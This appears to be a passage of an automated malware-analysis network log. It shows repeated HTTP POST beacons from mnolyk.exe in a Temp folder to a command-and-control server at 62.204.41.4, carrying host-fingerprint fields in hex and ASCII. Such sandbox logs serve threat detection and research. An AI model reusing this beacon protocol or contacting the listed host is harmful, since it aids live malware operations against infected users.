Feb 7, 2023 23:07:15.127197981 CET	171	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:15.192442894 CET	171	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	192.168.2.7	50255	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:33.778377056 CET	675	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:33.841334105 CET	675	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	192.168.2.7	50256	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:34.024543047 CET	676	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:34.088280916 CET	676	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.2.7	50257	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:34.266479015 CET	677	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:34.330198050 CET	677	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	192.168.2.7	50258	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:34.513209105 CET	678	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:34.576956034 CET	678	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.2.7	50259	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:34.780949116 CET	679	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:34.843144894 CET	679	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	192.168.2.7	50260	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:35.014959097 CET	680	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:35.082820892 CET	680	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.2.7	50261	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:35.263576984 CET	681	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:35.330900908 CET	681	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	192.168.2.7	50262	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:35.513957977 CET	682	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:35.580169916 CET	682	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.2.7	50263	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:35.762538910 CET	683	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:35.826868057 CET	683	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	192.168.2.7	50264	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:35.995836020 CET	684	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:36.062863111 CET	684	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	49752	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:15.374109983 CET	172	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:15.436098099 CET	172	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.2.7	50265	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:36.236424923 CET	685	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:36.301420927 CET	685	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	192.168.2.7	50266	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:36.481026888 CET	686	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:36.545967102 CET	686	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.2.7	50267	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:36.717040062 CET	687	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:36.778573036 CET	687	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	192.168.2.7	50268	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:36.981445074 CET	688	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:37.047588110 CET	688	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.2.7	50269	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:37.221379995 CET	689	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:37.286880016 CET	689	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	192.168.2.7	50270	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:37.475503922 CET	690	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:37.542831898 CET	690	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.2.7	50271	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:37.717474937 CET	691	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:37.782658100 CET	691	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	192.168.2.7	50272	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:37.970566034 CET	692	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:38.039640903 CET	692	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.2.7	50273	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:38.220730066 CET	693	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:38.284318924 CET	693	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.2.7	50274	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:38.463285923 CET	694	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
